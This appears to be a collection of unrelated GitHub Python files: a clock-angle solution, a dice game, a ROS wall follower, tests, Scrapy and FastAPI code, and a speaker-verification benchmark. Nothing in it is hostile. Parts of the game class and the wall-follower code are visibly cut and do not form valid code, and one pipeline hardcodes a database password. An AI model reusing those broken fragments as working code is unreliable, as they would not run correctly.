-> float:\n # # 灵活运用mod 是一个小的技巧\n # converted_hour = hour % 12\n\n # hour_part = converted_hour * 60 + minutes / 60 * 60\n # min_part = minutes / 60 * 720\n # res = abs(hour_part - min_part) / 720 * 360\n \n # # return 也可以写成 min(res, 360 - res)\n # # 因为就只有两种可能性\n # return 360 - res if res > 180 else res\n\n\n # # 第二遍\n # hour_degree_unit = 360 / 12\n # mins_in_hour = 60\n \n # total_degree = 360\n # half_degree = 360 / 2\n \n # # 这个就是公式\n # # 小时的度数就是,小时的整度数 + 在那一个小时里面分钟的度数\n # hour_degree = hour_degree_unit * hour + minutes / mins_in_hour * hour_degree_unit\n \n # # 分钟的度数比较直接,就是当前分钟减去一个小时的分钟数再乘以360度\n # minutes_degree = minutes / mins_in_hour * total_degree\n \n # res = minutes_degree - hour_degree\n \n # return abs(res) if abs(res) < half_degree else total_degree - abs(res)\n\n\n # 第三遍:\n min_angle = minutes / 60 * 360\n hour_angle = (60 / 12 * (minutes / 60) + hour * 60 / 12) / 60 * 360\n \n angle = hour_angle - min_angle if hour_angle > min_angle else min_angle - hour_angle\n abs_angle = angle if angle < 180 else 360 - angle\n \n return abs(abs_angle)","repo_name":"latree/leetcode","sub_path":"Math/angle_between_hands_of_a_clock.py","file_name":"angle_between_hands_of_a_clock.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21454075066","text":"from random import randint as rint\nimport json\nclass game:\n def __init__(self,m,n):#初始化\n self.win=self.lose=self.drow=self.spend=self.i=0\n self.round=m# 玩多少場\n self.price=n# 多少錢\n self.get=0# 賺或虧\n self.com=0# 獎勵\n self.runs=[]# 場次\n self.data={}# 字典\n self.data['GameData'] = []\n self.Calculation()\n # 產生每一個場次(round)\n def round_game(self):\n return [round()for self.i in range(self.round)]\n def Calculation(self):# 計算所有場次的輸贏以及賺錢或虧錢\n self.runs=self.round_game()\n for i in range(len(self.runs)):\n self.boss,self.player,self.x,self.y,self.wld=self.runs[i].data()\n # 設定boss是老闆,player是玩家\n if (self.boss>self.player):\n self.lose+=1\n elif (self.bossself.player):\n self.wld='BOSS WIN'\n elif (self.boss 2.0 * self.DESIRED_DISTANCE), axis=1)\n # coords = np.delete(coords, np.where(np.sqrt(coords[1, :]**2 + coords[0, :]**2) > 2.0 * self.DESIRED_DISTANCE), axis=1)\n x = coords[0, :]\n y = coords[1, :]\n\n # dist_to_wall = np.mean(np.sqrt(x_squared + y_squared))\n if x.size > 0:\n regression = np.polyfit(x, y, 1)\n # [theta, dist_to_wall] = np.polyfit(x, y, 1)\n # return theta, dist_to_wall\n return regression, x\n else:\n raise NoDataPointsException\n\n def controller(self, theta, dist_to_wall):\n \"\"\"PD Controller\"\"\"\n kp = 5\n # ki = 2\n kd = 5 * self.SIDE\n error = self.DESIRED_DISTANCE - abs(dist_to_wall)\n # error = self.SIDE * self.DESIRED_DISTANCE - dist_to_wall\n action = self.SIDE * (kp * error + kd * theta * self.VELOCITY)\n return action\n\n def callback(self, data):\n angles = self.scan_angles(data)\n new_scan = deepcopy(data)\n sliced_scan, sliced_angles = self.slice_scan(new_scan, angles) # get scan data relevant to side we want\n\n try:\n wall_regression, x = self.find_wall(sliced_scan.ranges, sliced_angles)\n theta = wall_regression[0]\n dist_to_wall = wall_regression[1]\n action = self.controller(theta, dist_to_wall)\n y = np.array([theta * i + dist_to_wall for i in x])\n VisualizationTools.plot_line(x, y, self.viz, frame=\"/laser\")\n except NoDataPointsException:\n action = 0\n\n\n # visualizationTools.plot_line(x, y, self.viz, frame=\"/laser\")\n\n\n drive = AckermannDriveStamped()\n drive.header.stamp=rospy.Time.now()\n drive.header.frame_id=\"wall_follower\" # or is frame_id=\"base_link\"??\n drive.drive.steering_angle = action\n drive.drive.steering_angle_velocity = 0\n drive.drive.speed = self.VELOCITY\n drive.drive.acceleration = 0\n drive.drive.jerk = 0\n\n self.pub.publish(drive)\n\n\nif __name__ == \"__main__\":\n rospy.init_node('wall_follower')\n wall_follower = WallFollower()\n rospy.spin()\n\n","repo_name":"bmklein5/wall_follower_sim","sub_path":"src/wall_follower.py","file_name":"wall_follower.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73023484034","text":"import unittest\nimport datetime\nimport src.pre_k\n\n\nimport src.today\nTODAY = src.today.today()\nYEAR = datetime.timedelta(days=365)\n\n\nclass PreKTestCase(unittest.TestCase):\n def test_cost(self):\n pre_k = src.pre_k.PreK(\n start= TODAY,\n yearly_amount=1e4,\n end= TODAY+YEAR\n )\n self.assertAlmostEqual(\n sum(amount for date, amount in pre_k.events()\n if date < TODAY + YEAR),\n -1e4,\n places=-3\n )\n self.assertAlmostEqual(\n sum(1 for date, _ in pre_k.events()\n if date < TODAY + YEAR),\n 26,\n places=0\n )\n","repo_name":"cfreundlich/pyfin","sub_path":"tests/test_pre_k.py","file_name":"test_pre_k.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13346476944","text":"import sys\nimport os\nsys.path.insert(1, os.path.join(\"..\", \"..\", \"..\", \"h2o-py\"))\nfrom tests import pyunit_utils\nimport h2o\nfrom h2o.estimators.kmeans import H2OKMeansEstimator\n\n# Purpose: This tests k-means on a large dataset.\n\ndef hdfs_kmeans():\n hdfs_name_node = pyunit_utils.hadoop_namenode()\n hdfs_iris_file = \"/datasets/runit/iris_wheader.csv\"\n hdfs_covtype_file = \"/datasets/runit/covtype.data\"\n\n print(\"Import iris_wheader.csv from HDFS\")\n url = \"hdfs://{0}{1}\".format(hdfs_name_node, hdfs_iris_file)\n iris_h2o = h2o.import_file(url)\n n = iris_h2o.nrow\n print(\"rows: {0}\".format(n))\n assert n == 150, \"Wrong number of rows. Got {0}. Should have got {1}\".format(n, 150)\n\n print(\"Running KMeans on iris\")\n iris_km = H2OKMeansEstimator(k=3, training_frame=iris_h2o[0:4], max_iterations=10)\n iris_km.train()\n print(iris_km)\n\n print(\"Importing covtype.data from HDFS\")\n url = \"hdfs://{0}{1}\".format(hdfs_name_node, hdfs_covtype_file)\n covtype_h2o = h2o.import_file(url)\n n = covtype_h2o.nrow\n print(\"rows: {0}\".format(n))\n assert n == 581012, \"Wrong number of rows. Got {0}. Should have got {1}\".format(n, 581012)\n\n print(\"Running KMeans on covtype\")\n covtype_km = H2OKMeansEstimator(training_frame=covtype_h2o[0:55], k=8, max_iterations=10)\n covtype_km.train()\n print(covtype_km)\n\n\nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(hdfs_kmeans)\nelse:\n hdfs_kmeans()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-hadoop-common/tests_multinode/python/pyunit_kmeans.py","file_name":"pyunit_kmeans.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"} +{"seq_id":"27916248624","text":"from django.urls import path\nfrom rest_framework_simplejwt.views import (\n TokenObtainPairView,\n TokenRefreshView,\n)\n\nfrom . import views\n\nurlpatterns = [\n path(\"adduser\", views.add_user, name=\"adduser\"),\n path('login', TokenObtainPairView.as_view(), name='token_obtain_pair'),\n path(\"members\", views.members_list, name=\"members_list\"),\n path('member//', views.member_get_or_update, name=\"member_get_or_update\"),\n]\n","repo_name":"Taridi-Financial/cobanking","sub_path":"cbsaas/users/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27767558931","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport json\n\nfrom scrapy.pipelines.images import ImagesPipeline\n# codecs 和open最大的区别的就是让我们避免很多编码的问题\nimport codecs\nfrom scrapy.exporters import JsonItemExporter # scrapy 自带的输出json\nfrom twisted.enterprise import adbapi\nfrom models.es_types import ArticleType\nfrom w3lib.html import remove_tags # 去掉content里面的html标签\n\nimport MySQLdb\nimport MySQLdb.cursors\n\n\nclass ArticlespiderPipeline(object):\n def process_item(self, item, spider):\n return item\n\n\nclass JsonWithEncodingPipeline(object):\n \"\"\"\n 自定义json文件导出\n\n \"\"\"\n\n def __init__(self):\n self.file = codecs.open('article.json', 'w', encoding='utf-8')\n\n def process_item(self, item, spider):\n lines = json.dumps(dict(item), ensure_ascii=False) + '\\n' # 有中文ensure_ascii一定要设置为False\n self.file.write(lines)\n return item\n\n def spider_closed(self, spider):\n self.file.close()\n\n\nclass MysqlPipeline(object):\n \"\"\"\n 导数据进mysql 第一种方法!但是有个缺点 爬虫解析出来的数据有可能比mysql执行insert语句要快!那么就会形成阻塞!\n \"\"\"\n\n def __init__(self):\n # self.conn = MySQLdb.connect('host', 'user', 'password', 'dbname', charset='utf8', use_unicode=True)\n self.conn = MySQLdb.connect('127.0.0.1', 'root', '123123', 'article_spider', charset='utf8',\n use_unicode=True) # 创建链接\n self.cursor = self.conn.cursor() # 操作mysql\n\n def process_item(self, item, spider):\n insert_sql = \"\"\"\n insert into jobbole_article(title,create_date,url,url_object_id,fron_image_url,front_image_path,comment_nums,praise_nums,fav_nums,tags,content)\n VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\n \"\"\"\n self.cursor.execute(insert_sql, (\n item['title'], item['create_date'], item['url'], item['url_object_id'], item['fron_image_url'],\n item['front_image_path'], item['comment_nums'], item['praise_nums'], item['fav_nums'], item['tags'],\n item['content']))\n self.conn.commit()\n\n\nclass MysqlTwistedPipeline(object):\n \"\"\"\n mysql 插入的异步化 这样就不会形成阻塞\n 可以将配置写到settings\n \"\"\"\n\n def __init__(self, dbpool):\n self.dbpool = dbpool\n\n @classmethod # 类方法 被spider调用 然后参数的settings 就是 配置文件的settings\n def from_settings(cls, settings):\n dbparms = dict(\n # !!!!!!键的名字要和mysqlDB传进去的一样 固定写法!!!!!!!!!!!\n host=settings['MYSQL_HOST'],\n db=settings['MYSQL_DBNAME'],\n user=settings['MYSQL_USER'],\n password=settings['MYSQL_PASSWORD'],\n charset='utf8',\n cursorclass=MySQLdb.cursors.DictCursor,\n use_unicode=True\n )\n dbpool = adbapi.ConnectionPool('MySQLdb', **dbparms) # 连接池 *是元组 **字典 是可变参数\n return cls(dbpool)\n\n def process_item(self, item, spider):\n \"\"\"\n 使用twisted将mysql插入变成异步执行\n \"\"\"\n query = self.dbpool.runInteraction(self.do_insert, item)\n query.addErrback(self.handle_error, item, spider) # 异步执行的时候出现错误的要处理的函数\n return item\n\n def handle_error(self, failure, item, spider):\n \"\"\"\n 处理异步插入的异常\n :param failure:\n :return:\n \"\"\"\n print(failure)\n\n def do_insert(self, cursor, item):\n # 执行具体的插入\n # 根据不容的item 构建不同的sql语句执行\n insert_sql, params = item.get_insert_sql()\n\n cursor.execute(insert_sql, params)\n\n\nclass JsonExporterPipleline(object):\n \"\"\"\n 调用scrapy自带的json export到处json文件\n \"\"\"\n\n def __init__(self):\n self.file = open('articleexport.json', 'wb')\n self.exporter = JsonItemExporter(self.file, encoding='utf-8', ensure_ascii=False)\n self.exporter.start_exporting()\n\n def close_spider(self, spider):\n self.exporter.finish_exporting() # 停止导出\n self.file.close()\n\n def process_item(self, item, spider):\n self.exporter.export_item(item=item)\n return item\n\n\nclass ArticleImagePipelin(ImagesPipeline):\n # 重写\n def item_completed(self, results, item, info):\n if 'front_image_url' in item:\n # results 是个元组 第一个是ok表示获取成功 第二个是一个字典\n for ok, value in results:\n image_file_path = value['path']\n item['front_image_path'] = image_file_path\n return item\n\n\nclass ElasticsearchPipeline(object):\n # 将数据写入到es中\n\n def process_item(self, item, spider):\n \"\"\"\n # 因为多个爬虫所以把这个逻辑放到对应的item里面去\n # 将item转换为es的数据\n article = ArticleType()\n article.title = item['title']\n article.create_date = item['create_date']\n article.content = remove_tags(item['content'])\n article.fron_image_url = item['fron_image_url']\n if 'front_image_path' in item:\n article.front_image_path = item['front_image_path']\n article.praise_nums = item['praise_nums']\n article.fav_nums = item['fav_nums']\n article.comment_nums = item['comment_nums']\n article.url = item['url']\n article.tags = item['tags']\n article.meta.id = item['url_object_id']\n\n article.save()\n \"\"\"\n item.save_to_es()\n return item\n","repo_name":"zonggeng/JobBoleSpider","sub_path":"ArticleSpider/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":5823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39500972971","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param {TreeNode} root the root of binary tree\n # @return {int} the length of the longest consecutive sequence path\n def longestConsecutive2(self, root):\n self.max_length = 0\n self.dfs(root)\n return self.max_length\n\n # return the length of the longest consecutive sequence\n # (start from root, end with root)\n def dfs(self, root):\n if not root:\n return 0, 0\n len_from_left, len_to_left = self.dfs(root.left)\n len_from_right, len_to_right = self.dfs(root.right)\n\n length, len1, len2 = 1, 1, 1\n len_from_root, len_to_root = 1, 1\n if len_to_left > 0 and root.val == root.left.val + 1:\n len1 += len_to_left\n len_to_root = max(len_to_root, len_to_left + 1)\n if len_from_right > 0 and root.val + 1 == root.right.val:\n len1 += len_from_right\n len_from_root = max(len_from_root, len_from_right + 1)\n if len_to_right > 0 and root.val == root.right.val + 1:\n len2 += len_to_right\n len_to_root = max(len_to_root, len_to_right + 1)\n if len_from_left > 0 and root.val + 1 == root.left.val:\n len2 += len_from_left\n len_from_root = max(len_from_root, len_from_left + 1)\n length = max(length, len1, len2)\n\n if length > self.max_length:\n self.max_length = length\n return len_from_root, len_to_root\n","repo_name":"jwyx3/practices","sub_path":"python/binary-tree-longest-consecutive-sequence-ii.py","file_name":"binary-tree-longest-consecutive-sequence-ii.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32905604068","text":"from django.db import models\nfrom title.models import Title\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass Base(models.Model):\n\n baseUser = models.ForeignKey(User)\n baseTitle = models.ForeignKey(Title)\n\n baseText = models.TextField(max_length=100)\n\n baseCreatedAt = models.DateTimeField(auto_now_add=True)\n baseUpdatedAt = models.DateTimeField(auto_now=True)\n\n basePro = models.PositiveIntegerField(default=0)\n baseCon = models.PositiveIntegerField(default=0)\n baseBlinded = models.SmallIntegerField(default=1)\n\n\n def __str__(self):\n return self.baseText","repo_name":"hongmingu/newfolder","sub_path":"base/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37855825521","text":"import random\nfrom collections import namedtuple\nfrom itertools import cycle, product\nfrom string import ascii_uppercase\nfrom typing import List\n\nACTIONS = [\"draw_card\", \"play_again\", \"interchange_cards\", \"change_turn_direction\"]\nNUMBERS = range(1, 5)\n\nPawCard = namedtuple(\"PawCard\", \"card action\")\n\n\ndef _create_cards(n: int) -> List[str]:\n \"\"\"Returns the cards that will make up the deck\"\"\"\n if n > 26:\n raise ValueError(\"n must be <= 26\")\n letters = ascii_uppercase[:n]\n return [f\"{letter}{number}\" for letter, number in product(letters, NUMBERS)]\n\n\ndef _assign_action_cards(cards: List[str]) -> List[str]:\n \"\"\"Returns a quarter of the cards that will get actions assigned to them\"\"\"\n return set(random.sample(cards, len(cards) // 4))\n\n\ndef create_paw_deck(n=8):\n cards = _create_cards(n)\n action_cards = _assign_action_cards(cards)\n possible_actions = cycle(ACTIONS)\n\n deck = []\n for card in cards:\n action = next(possible_actions) if card in action_cards else None\n deck.append(PawCard(card, action))\n return deck\n","repo_name":"jarnoli/pybites","sub_path":"61/paw.py","file_name":"paw.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30493179783","text":"import csv\nimport glob\nimport os\nimport random\nimport sys\nimport subprocess\n\nimport time\nfrom math import fabs\nfrom pathlib import Path\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom tqdm import tqdm\n\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix, roc_curve\nfrom sklearn.metrics import fbeta_score, accuracy_score\n\nfrom model import SpeakerNet\nfrom utils import tuneThresholdfromScore, read_config\nfrom inference import *\n\ndef bendmark_models(model_dir, eval_config_file, test_config_file):\n model_paths = glob.glob(model_dir + '/*.pt') + glob.glob(model_dir + '/*.model')\n scoring_mode = 'cosine'\n num_eval = 20\n \n for model_path in tqdm(model_paths):\n chosen_model_state = model_path\n \n args = read_config(eval_config_file)\n args.initial_model_infer = chosen_model_state\n \n model = SpeakerNet(**vars(args))\n # path here\n model_save_path = os.path.join(args.save_path , \n f\"{args.model}/model\")\n result_save_path = os.path.join(args.save_path , \n f\"{args.model}/result\")\n # Write args to score_file\n settings_file = open(result_save_path + '/settings.txt', 'a+')\n score_file = open(result_save_path + \"/Inference_log.txt\", \"a+\")\n test_log_file = open(result_save_path + \"/Testing_log.txt\", \"a+\")\n print(f'Loading model from {chosen_model_state}')\n \n model.loadParameters(chosen_model_state)\n model.eval()\n #### eval model to have the threshold\n sc, lab, trials = model.evaluateFromList(\n args.test_list,\n cohorts_path=args.cohorts_path,\n print_interval=1,\n eval_frames=args.eval_frames,\n scoring_mode=scoring_mode)\n target_fa = np.linspace(5, 0, num=50)\n result = tuneThresholdfromScore(sc, lab, target_fa) \n threshold = result['gmean'][2]\n # write to file\n write_file = Path(result_save_path, 'evaluation_results.txt')\n \n with open(write_file, 'w', newline='') as wf:\n spamwriter = csv.writer(wf, delimiter=',')\n spamwriter.writerow(['audio_1', 'audio_2', 'label', 'predict_label','score'])\n preds = []\n for score, label, pair in zip(sc, lab, trials):\n pred = int(score >= result['gmean'][2])\n com, ref = pair.strip().split(' ')\n spamwriter.writerow([com, ref, label, pred, score])\n preds.append(pred)\n \n # print out metrics results\n beta_values=[0.5, 2]\n prec_recall = evaluate_by_precision_recall(lab, preds, beta_values=beta_values)\n print(\"REPORT:\\n\", prec_recall[0])\n print(\"Accuracy for each class:\", f\"\\n0's: {prec_recall[1][0]}\\n1's: {prec_recall[1][1]}\")\n for b in beta_values:\n print(f\"F-{b}:\", prec_recall[2][b])\n \n print('+++++++++++++++++++++++++++++++++++++++++++\\n')\n ### Testmodel\n args = read_config(test_config_file)\n args.initial_model_infer = chosen_model_state\n model.eval()\n model.testFromList(args.test_path,\n args.test_list,\n cohorts_path=args.cohorts_path,\n thre_score=threshold,\n print_interval=1,\n eval_frames=args.eval_frames,\n scoring_mode=scoring_mode,\n output_file=args.com, num_eval = num_eval)\n \n roc, prec_recall = evaluate_result(path=args.com, ref=args.ref)\n test_log_file.writelines([f\">{time.strftime('%Y-%m-%d %H:%M:%S')}<\",\n f\"Test result on: [{args.test_list}] with [{args.initial_model_infer}]\\n\",\n f\"Threshold: {threshold}\\n\",\n f\"ROC: {roc}\\n\",\n f\"Report: \\n{prec_recall}\\n\",\n f\"Save to {args.com} and {args.ref} \\n========================================\\n\"])\n test_log_file.close()\n sys.exit(1)\n \n \nif __name__ == '__main__':\n model_path = \"backup/1001/Raw_ECAPA/ARmSoftmax/model_backup\"\n eval_path = \"\"\n bendmark_models(model_path, \"backup/config/config_eval.yaml\", \"backup/config/config_test.yaml\")\n \n\n ","repo_name":"hiimmuc/Speaker-verification-pytorch","sub_path":"benmark_model.py","file_name":"benmark_model.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"16035675319","text":"import math\n\n\n# solve this function without any errors\ndef calculate_func(x, y):\n result = (0.81*math.cos(x)) / (math.log(y)+2*x**3)\n return result\n\n\ndef get_numbers():\n while True:\n try:\n x = float(input('Enter the number x: '))\n y = float(input('Enter the number y: '))\n except ValueError as ve:\n print(f'There\\'s {ve}.\\nPlease, enter numbers')\n else:\n break\n return x, y\n\n\ndef calculate_safely(func):\n def safe_version(x, y):\n if y < 0:\n print(\"There's a negative number in the logarithm.\"\n \"\\nEnter a positive number 'y'\")\n return\n elif math.log(y)+2*x**3 == 0:\n print(\"Denominator is equal zero. \\nEnter other numbers\")\n return\n return func(x, y)\n\n return safe_version\n\n\ndef main():\n safe_calculation = calculate_safely(calculate_func)\n x, y = get_numbers()\n result = safe_calculation(x, y)\n if result is not None:\n print(f\"There's result - {result:.3f}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"stepanskyvlad/Labs","sub_path":"Lab2/task06_1.py","file_name":"task06_1.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12315946078","text":"import logging\nfrom http import HTTPStatus\nfrom typing import List, Union\nfrom uuid import UUID\n\nfrom app.controllers.schemas.response_schema import ResponseSchema, UserCreation\nfrom app.controllers.schemas.schemas import (\n EndpointSchema,\n EndpointSchemaDB,\n GroupSchema,\n GroupSchemaDB,\n MethodSchema,\n MethodSchemaDB,\n PermissionSchema,\n PermissionSchemaDB,\n ServiceSchema,\n ServiceSchemaDB,\n UpdatePermissionSchema,\n UpdateUserGroupSchema,\n UpdateUserSchema,\n UserGroupSchema,\n UserGroupSchemaDB,\n UserSchema,\n UserSchemaDB,\n)\nfrom app.data.models import (\n USER_TYPES,\n Endpoint,\n Groups,\n Method,\n Permission,\n Service,\n User_Groups,\n Users,\n)\nfrom app.utils.log_helper import log_function\nfrom core.extensions import db\nfrom fastapi import HTTPException\nfrom pydantic import parse_obj_as\nfrom sqlalchemy import and_\nfrom starlette.responses import JSONResponse\n\n# --------------- CREATE -----------------------\n\nNOT_FOUND_MSG = \"Not Found\"\n\nlogger = logging.getLogger(__name__)\nlog = log_function(logger)\n\n\ndef clean_dict(data: dict) -> dict:\n return {key: val for (key, val) in data.items() if val is not None}\n\n\n@log\nasync def create_user(data: UserSchema) -> Union[UserCreation, JSONResponse]:\n async with db.transaction():\n user = await Users.query.where(Users.identity == data.identity).gino.first()\n if user:\n raise HTTPException(status_code=HTTPStatus.BAD_REQUEST)\n user = await Users.create(**data.dict())\n return UserCreation.from_orm(user)\n\n\n@log\nasync def create_group(data: GroupSchema):\n async with db.transaction():\n group = await Groups.query.where(Groups.name == data.name).gino.first()\n if group:\n raise HTTPException(status_code=HTTPStatus.BAD_REQUEST)\n group = await Groups.create(name=USER_TYPES(data.name))\n return GroupSchemaDB.from_orm(group)\n\n\n@log\nasync def create_us_gr(data: UserGroupSchema):\n async with db.transaction():\n user_gr = await User_Groups.query.where(\n and_(\n User_Groups.group_id == data.group_id,\n User_Groups.user_id == data.user_id,\n )\n ).gino.first()\n\n if user_gr:\n raise HTTPException(status_code=HTTPStatus.BAD_REQUEST)\n user_gr = await User_Groups.create(**data.dict())\n return UserGroupSchemaDB.from_orm(user_gr)\n\n\n@log\nasync def create_service(data: ServiceSchema):\n async with db.transaction():\n service = await Service.query.where(Service.name == data.name).gino.first()\n if service:\n raise HTTPException(status_code=HTTPStatus.BAD_REQUEST)\n\n response = await Service.create(**data.dict())\n return ServiceSchemaDB.from_orm(response)\n\n\n@log\nasync def create_endpoint(data: EndpointSchema):\n async with db.transaction():\n endpoint = await Endpoint.query.where(\n and_(\n Endpoint.service_id == data.service_id,\n Endpoint.prefix == data.prefix,\n )\n ).gino.first()\n if endpoint:\n raise HTTPException(status_code=HTTPStatus.BAD_REQUEST)\n\n endpoint = await Endpoint.create(**data.dict())\n return EndpointSchemaDB.from_orm(endpoint)\n\n\n@log\nasync def create_method(data: MethodSchema):\n async with db.transaction():\n methods = await Method.query.where(Method.name == data.name).gino.first()\n if methods:\n raise HTTPException(status_code=HTTPStatus.BAD_REQUEST)\n\n methods = await Method.create(**data.dict())\n return MethodSchemaDB.from_orm(methods)\n\n\n@log\nasync def create_permission(data: PermissionSchema):\n async with db.transaction():\n permission = await Permission.query.where(\n and_(\n Permission.endpoint_id == data.endpoint_id,\n Permission.entity_type == data.entity_type,\n Permission.service_id == data.service_id,\n Permission.method_id == data.method_id,\n )\n ).gino.first()\n\n if permission:\n raise HTTPException(status_code=HTTPStatus.BAD_REQUEST)\n permission = await Permission.create(**data.dict())\n return PermissionSchemaDB.from_orm(permission)\n\n\n# --------------- UPDATE -----------------------\n\n\n@log\nasync def update_user(data: UpdateUserSchema, id: UUID):\n async with db.transaction():\n user = await Users.query.where(Users.id == id).gino.first()\n if user:\n data = clean_dict(data.dict())\n await user.update(**data).apply()\n return UpdateUserSchema.from_orm(user)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def update_group(data: GroupSchema, id: UUID):\n async with db.transaction():\n group = await Groups.query.where(Groups.id == id).gino.first()\n if group:\n data = clean_dict(data.dict())\n await group.update(**data).apply()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def update_us_gr(data: UpdateUserGroupSchema, id: UUID):\n async with db.transaction():\n group = await User_Groups.query.where(User_Groups.id == id).gino.first()\n if group:\n data = clean_dict(data.dict())\n await group.update(**data).apply()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def update_service(data: ServiceSchema, id: UUID):\n async with db.transaction():\n service = await Service.query.where(Service.id == id).gino.first()\n if service:\n data = clean_dict(data.dict())\n await service.update(**data).apply()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def update_endpoint(data: Endpoint, id: UUID):\n async with db.transaction():\n endpoint = await Endpoint.query.where(Endpoint.id == id).gino.first()\n if endpoint:\n data = clean_dict(data.dict())\n await endpoint.update(**data).apply()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def update_method(data: MethodSchema, id: UUID):\n async with db.transaction():\n method = await Method.query.where(Method.id == id).gino.first()\n if method:\n data = clean_dict(data.dict())\n await method.update(**data).apply()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def update_permission(data: UpdatePermissionSchema, id: UUID):\n async with db.transaction():\n permission = await Permission.query.where(Permission.id == id).gino.first()\n if permission:\n data = clean_dict(data.dict())\n await permission.update(**data).apply()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n# --------------- DELETE -----------------------\n\n\n@log\nasync def delete_user(id: UUID):\n async with db.transaction():\n user = await Users.query.where(Users.id == id).gino.first()\n if user:\n await user.delete()\n\n return ResponseSchema(result=True).dict()\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def delete_group(id: UUID):\n async with db.transaction():\n group = await Groups.query.where(Groups.id == id).gino.first()\n if group:\n await group.delete()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def delete_us_gr(id: UUID):\n async with db.transaction():\n group = await User_Groups.query.where(User_Groups.id == id).gino.first()\n if group:\n await group.delete()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def delete_service(id: UUID):\n async with db.transaction():\n service = await Service.query.where(Service.id == id).gino.first()\n if service:\n await service.delete()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def delete_endpoint(id: UUID):\n async with db.transaction():\n endpoint = await Endpoint.query.where(Endpoint.id == id).gino.first()\n if endpoint:\n await endpoint.delete()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def delete_method(id: UUID):\n async with db.transaction():\n method = await Method.query.where(Method.id == id).gino.first()\n if method:\n await method.delete()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n@log\nasync def delete_permission(id: UUID):\n async with db.transaction():\n permission = await Permission.query.where(Permission.id == id).gino.first()\n if permission:\n await permission.delete()\n return JSONResponse(content={\"result\": True}, status_code=HTTPStatus.OK)\n raise HTTPException(detail=NOT_FOUND_MSG, status_code=HTTPStatus.NOT_FOUND)\n\n\n# --------------- GET -----------------------\n\n\n@log\nasync def get_user(id: UUID):\n async with db.transaction():\n user = await Users.query.where(Users.id == id).gino.first()\n if user:\n return UserSchemaDB.from_orm(user)\n raise HTTPException(detail=NOT_FOUND_MSG, 